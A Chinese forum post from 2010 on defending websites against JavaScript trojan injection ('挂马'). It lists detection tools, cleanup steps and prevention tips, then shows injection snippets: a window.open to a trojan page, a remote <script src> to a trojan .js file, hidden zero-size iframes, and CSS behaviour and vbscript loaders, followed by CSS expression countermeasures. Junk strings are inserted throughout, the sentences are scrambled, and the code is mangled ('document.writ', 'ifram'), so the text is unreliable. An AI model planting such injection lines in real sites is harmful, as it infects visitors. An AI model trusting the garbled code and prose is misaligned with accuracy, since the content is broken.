搜索
查看: 12148|回复: 0

网站被JS挂马解决方法

[复制链接]
发表于 2010-11-10 08:17:49 | 显示全部楼层 |阅读模式

网站被JS挂马解决方法

6 h& v4 D3 P) r% k! G2 u0 g; a

为什么网页挂马还是屡见不鲜?这恐怕就要说一说 CSS 挂马了下面我详细讨论 虽然能够巧妙地利用 CSS 代码防范

6 m, t" K7 R6 _1 h2 d

IFRAME 和 JS 脚本挂马。

* y4 _" D0 I9 ?. C4 A

检测网页木马也是很重要的一项工作,目前流行的网站被黑,相应的 asp,

^# z( r+ C' F# C9 w( x- Q2 H @

网站优化设计当中。htm,j 等文件中,插入以 js 调用方式的本文主要介绍网页挂马的种类、如何检测网页是否被挂马、

" _$ m" ?3 ^) h

如何清除网页木马。如何防止网页被挂马。
1: 网页挂马的种类 .

4 O1 W$ |5 |5 s

相应的 asp, 目前流行的网站被黑。htm,j 等文件中,插入以 js 调用方式的

- e2 O* f5 { h8 |8 }8 g, K

卢松松以前做过的极品源码下载站 ’ 就遇到过 JS 挂马

1 ^! j1 t; M! g9 Y

利用动网程序漏洞 ( 上传附件漏洞 ) 拥有网站管理员权限。删了论坛几千条数据 , 校园闹翻天论坛 ’ 就遇到用户提权

, G1 B Z8 X H5 M( L" O( V, `/ ?. s

。一千多位会员的 ID

) n( X4 n r/ T e) o! x3 r X, r

2: 如何检测网页是否被挂马。

8 f0 W8 Y6 S4 j8 S! m

六款免费网页平安检测工具横向测评 ( 华军软件园 )
1 专业检测工具。>

) C2 B6 i2 O) q$ s* U) b

或者可以利用 Googl 搜索你网站、博客进行检测。如果有网站有木马则 googl 会在搜索列表的下方提示该网站有不安全

4 j5 ~5 w" a; G" Q

因素。
2 googl 检测。>

! J% D8 q U; G

常用的杀毒软件也可以检测出来。
3 杀毒软件检测。>

8 b# i; k6 W W6 i

打开你网站、博客,
4 人工检测。点击右键查看源文件,根据网页挂马的种类也可以查看是否中了木马。

1 ]* d4 b( U# V6 k0 y

5 使用 McAfee SiteAdvisor 平安浏览网页的插件。

7 C, e, L" }" R& [, N0 w

2 Z( B4 W8 r3 y# o1 H4 n

3: 如何清除网页木马。

, E1 F5 s3 N) W( A. w3 `8 b

就看那些文件是最近修改过的主要检查这些新文件, 一旦中了网页木马。从 FTP 中可以检查文件最近修改时间。然后进

5 s3 [% u6 m" k1 n, F

入源文件把相关的网页挂马种类的可疑代码删除。

! f0 X7 {' `( u8 a4 Q

建议删除所有文件 ( 数据库、图片、文档、顺序模板主题等文件夹可以保留 ) 如果你对你所使用的网站、博客程序不熟

4 t3 o( i( H: r# l

悉。>

. e Q3 t a; }% {& o/ C

请从预防开始吧。
4: 如何防止网页被挂马。如果你网站还没有被挂马。>

+ h: m2 j4 G4 _9 |

并只允许信任的人使用上传程序。
1 对网友开放上传附件功能的网站一定要进行身份认证。>

1 Z J& F6 e D. [$ |

2 保证你所使用的顺序及时的更新。

$ }4 E8 s, T" I! W) l: U3 F" a

3 不要在前台网页上加注后台管理程序登陆页面的链接。

# s1 W& y0 ^+ L; d1 X

但不要把备份数据库放在顺序默认的备份目录下。
4 要时常备份数据库等重要文件。>

8 n! @' M9 ?0 v, P7 F$ J. l

不能过于简单。
5 管理员的用户名和密码要有一定复杂性。>

$ c" `( M0 |8 Y5 r/ E2 _# q3 t) {

二项功能组合,
6 IIS 中禁止写入和目录禁止执行的功能。可以有效的防止 ASP 木马。

6 A# D% t; c1 h7 O1 L! y, P( o

设置执行权限选项中,
7 可以在服务器、虚拟主机控制面板。直接将有上传权限的目录,取消 ASP 运行权限。

z# d& |) a! P, X

8 创建一个 robots.txt 上传到网站根目录。 Robot 能够有效的防范利用搜索引擎窃取信息的骇客

% W6 ]8 F6 Z: ^; [

( E6 j) R9 ^, {; n

IFRAME 挂马比较早, < IFRAME 挂马比较早。相应的预防措施也比较多,其中用 CSS 配合 JS 脚本进行预防是主流方式

' D1 e# {9 j; A* ^* ~

。可这种预防方式也存在平安隐患, JS 脚本也可以被用来挂马,令人防不胜防。下面要介绍反击 JS 挂马的方法。

' |5 y) ^. P* W$ V) l4 J

JS 挂马溯源

" \- w v* X/ a/ S& J! F

有经验的平安工程师也开始研究相应的对策,当 IFRAME 逐渐被黑客滥用的时候。一段时间内各种阻止 IFRAME 挂马的方

4 K' a' |. ^( x* c6 i! M% N5 n+ K8 p/ O

法不时涌现,其中通用性较高的就是利用 CSS 配合 JS 脚本防御 IFRAME 挂马。

& c5 P( B2 m( q8 R

很多网站都会让网页调用 JS 脚本来实现广告等诸多特效,而黑客也发现。如果将木马挂在 JS 脚本中,所有调用该 JS

% H0 [" h' a( r/ G( [1 Q: \7 B

脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此 JS 脚本挂马逐渐开始被黑客应用。

0 J3 ]# k# [( h% ], x) B; Y: P

一种面向对象的脚本语言,小百科: JS 脚本是 JavaScript 脚本语言的简称。目前广泛用于动态网页的编程。需要提示

, i5 w7 [' o) {, w

大家的 JavaScript 和 Java 除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的而

1 B" I, h V/ h' K" o# c" n: l

JavaScript 与 Jscript 也不同, Jscript 微软为了迎战 JavaScript 推出的脚本语言。

' X( [8 R2 M7 H4 \5 ]8 y; ~

但是 JavaScript 一门具有丰富特性的语言,虽然 JavaScript 作为给非程序人员的脚本语言向大众推广。有着和其他编

" l6 J. ?0 [" E! G( d% L5 g

程语言一样的复杂性。实际上,必需对 JS 有扎实的理解才干用它来编写比较复杂的顺序,作为一名平安工程师,掌握 JS

* R: F" }, {7 `7 e: u* L

脚本在工作中会有很大的协助。

& |7 `+ k2 }/ F! {

挂马原理一点通

r9 t" _% J2 C) o

可以说优点多得数不过来, JS 脚本挂马对于黑客而言。首先 JS 脚本在挂马时可以直接将 JS 代码写在网页中,也可以

% K) s* h* ~6 y: r" a- z

通过注入网页,让网站远程调取异地 JS 脚本。此外, JS 挂马插入 Web 页面的方法有几十种,绝对够菜鸟们眼花缭乱,

7 w. S; C5 j" _+ r

无从区分木马在何处。

& A& s" }- {0 D9 z H& j5 A; t

如同一个穿着鲜红颜色外衣的劫匪, IFRAME 挂马相对于安全工程师而言。招摇而扎眼,很容易被发现。但是利用 JS 挂

. a5 m* g F( x

马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在平安工程师搜查时,很

! m& C9 C' U+ k( O7 r1 f4 i

容易蒙混过关,导致木马久杀不绝。

* B" Y& f* e% s( u3 M# o

JS 挂马攻防实录

3 x: c8 A% a( k5 g5 `

一种是直接将 JavaScript 脚本代码写在网页中,攻现在最多见的 JS 挂马方法有两种。当访问者在浏览网页时,恶意的

6 W0 K p- T) r/ g! p, w6 d) g7 ~

挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

" Z6 ~; A- I# ^0 W$ w2 r

这种方法使用的关键代码如下:

* ~1 o* H" g1 m0 ~1 T6 {

"",  window.open "http://www.v404.cn/ 木马

1 @ P% q5 `) J4 Z

.html"."toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1" ;

# y, R3 d; v; k# i

# o$ n% R" a- | H- R4 N6 Z3 [

很容易被安全工程师发现,这种代码往往很长。而且没有经验的黑客也喜欢将 “ width 和 “ height= 参数设为 “ 0

# A$ o% v3 E0 R x1 e

但是设置为 0 后,可能会出现恶意代码不运行的情况。

7 B. K$ x) `' P) |

并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入: 另外一种 JS 挂马方式是黑客先将挂马脚本代码 “

; {3 U5 Q" J; {

document.writ ' < Iframe src=" 网页木马地址 " ></ifram > ' 写入 Window 中的写字板另存为后缀为 .j 脚本文件

& O* R( r E1 C. n' B: v2 j7 a

。

; T8 M! @6 g5 J: s

<script src="http://www.v404.cn/ 木马脚本 .js"></script>

3 A$ d$ S! U3 S7 q9 d) ?) H

* U' z8 {) Q+ b1 [4 e: Y

或者

6 E5 q7 U7 x! b1 b

document.writ "<div style='display:none'>"

$ s: X- [% f* ?* t9 k$ s

document.writ "<ifram src=" 网页木马地址 " width="0" height="0" scrolling="no" frameborder="0"></iframe>"

5 B; q. }4 w; z/ ^8 F

document.writ "</div>"
 

2 B( G' b% d: ]( a- O

) e9 p& l# B1 a

就成功地将木马挂到对方的网页中了

2 [+ \ a0 n1 m0 {

例如黑客有可能会将脚本写为: 小提示:黑客还可以根据情况随机变换拔出的 JS 挂马方法。

; \# Y6 M/ P5 a4 G9 n# K0 k

<div style="behaviour: url http://www.v404.cn/ 木马脚本 .j ;">

$ J: w, ~% N, M, c

或者:

# {3 c$ G1 [3 ~7 ^, S( Q, D/ \/ Y

<ifram src="vbscript:[ 挂马脚本 ]">

# G4 P# \$ G2 [* B

5 K3 O( K0 X1 s, `


等等 …

3 A- {5 ]# G/ b1 Y! V9 P

不方便,防第一种 JS 挂马方式。用得非常少,而第二种 JS 挂马方式才是当前主流的所以我主要针对它进行防御。方法

/ _- C; m/ [2 l! i+ @; p

就是阻止 Src 请求的异地外域的 JS 脚本,代码如下:

7 ^- `9 R9 [9 s& [) C

iframe{mdy1:express this.src='about:blank', <  iframe{mdy1:express this.src='about:blank'.this.outerHTML=''

) H, Q1 o. y7 e

;}

" p9 ^( H" M& _5 { m. N5 `' |

script{mzm2:express this.src.toLowerCas .indexOf 'http' ==0 ?document.writ ' 木马被成功隔离 !' :'' ;}
 

: G! h6 H) p- h

& p" w/ w" O$ n. G

不过这种方法的缺点就是网站的访问者将不能看到被挂了 JS 木马的相关网页。

8 m* m/ S9 Y# K+ X9 _/ y) g

这段代码会让异地外域的 JS 文件在使用 document.writ 时,所以我为安全工程师提供了一段可以中止 JS 脚本运行的

5 w3 e6 N9 A( k ?; v- v* ? f l/ g

CSS 代码。被 document.clos 强制关闭。这个时侯 JS 挂马的内容往往还没有来得及写完,只有局部被强制输出了

9 m% M, ]0 U9 ~0 o

Writer 后面的内容再不会被写入访问者的电脑中,从而起到防范 JS 脚本挂马的作用。

8 `9 _2 i" z' M

<title> 让 JS 挂马中止的 CSS 代码 </title>

& o) V+ P" s3 G' E6 Z9 n4 j

<styl type="text/css" id="shudoo">

H2 K3 W) ~9 @2 i& i" \

/*<![CDATA[*/

4 l9 X5 K$ e' f1 R9 l3 }: B

this.outerHTML='' ;iframe{mdy1:express this.src='about:blank'.}

1 J0 d2 k$ u4 E

script{mzm2:express this.src.indexOf 'http' ==0 ?document.clos :'' ;}

" o6 u6 G. m: v6 ^' r

/*]]>*/

6 m6 a* h6 V; }# a# i

</style>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册帐号

本版积分规则

热议作品
精华帖子排行
精彩推荐

虾皮社区,成立十年了!

站长自己也搞不懂想做个什么,反正就是一直在努力的做!

Copyright © 2007-2019 xp6.org Powered by Discuz

QQ|Archiver|手机版|小黑屋|虾皮社区 鲁公网安备 37021102000261号 |网站地图
返回顶部 返回列表